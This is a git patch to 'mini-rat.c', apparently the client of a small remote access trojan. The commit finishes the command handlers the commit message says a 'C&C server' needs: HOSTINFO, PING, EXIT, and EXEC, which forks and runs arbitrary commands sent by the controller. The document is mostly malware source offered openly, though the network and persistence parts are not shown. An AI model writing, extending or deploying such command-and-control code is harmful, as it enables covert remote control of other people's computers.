From a1c692587b3f8d695dbf0b09828e5697c6aa3742 Mon Sep 17 00:00:00 2001 From: Danny Holman Date: Wed, 13 Sep 2023 11:26:47 -0500 Subject: client: finish implementing core commands Finish implementing the core commands required by the C&C server. Signed-off-by: Danny Holman --- client/src/mini-rat.c | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c index 9ceaa88..7347e36 100644 --- a/client/src/mini-rat.c +++ b/client/src/mini-rat.c @@ -50,6 +50,8 @@ void run_exec(char **argv) { exit(0); } else if (pid > 0) { wait(NULL); + printf("RETURN\r\n"); + fflush(stdout); } else { printf("ERROR IN FORK\r\n"); fflush(stdout); @@ -69,13 +71,18 @@ int handle_request(char *req) { char **argv = NULL; size_t count = str_split(&argv, req, " "); - if (strcmp(tokens[0], "HOSTINFO") == 0) { - hostinfo(socket); - } else if (strncmp(tokens[0], "EXEC", 4) == 0) { - char **argv = str_split(req, " "); - run_exec(socket, &argv[1]); - } else if (strncmp(tokens[0], "EXIT", 4) == 0) { + if (strcmp(argv[0], "HOSTINFO") == 0) { + hostinfo(); + } else if (strcmp(argv[0], "EXEC") == 0) { + run_exec(&argv[1]); + } else if (strcmp(argv[0], "EXIT") == 0) { return 1; + } else if (strcmp(argv[0], "PING") == 0) { + printf("PONG\r\n"); + fflush(stdout); + } else { + printf("NOT A COMMAND\r\n"); + fflush(stdout); } free(argv); return 0; -- cgit v1.2.3